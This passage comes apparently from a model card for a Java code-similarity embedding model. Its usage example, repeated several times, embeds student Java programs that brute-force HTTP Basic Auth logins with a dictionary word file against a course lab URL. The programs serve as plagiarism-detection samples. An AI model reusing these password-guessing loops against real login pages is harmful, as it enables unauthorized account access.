((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + 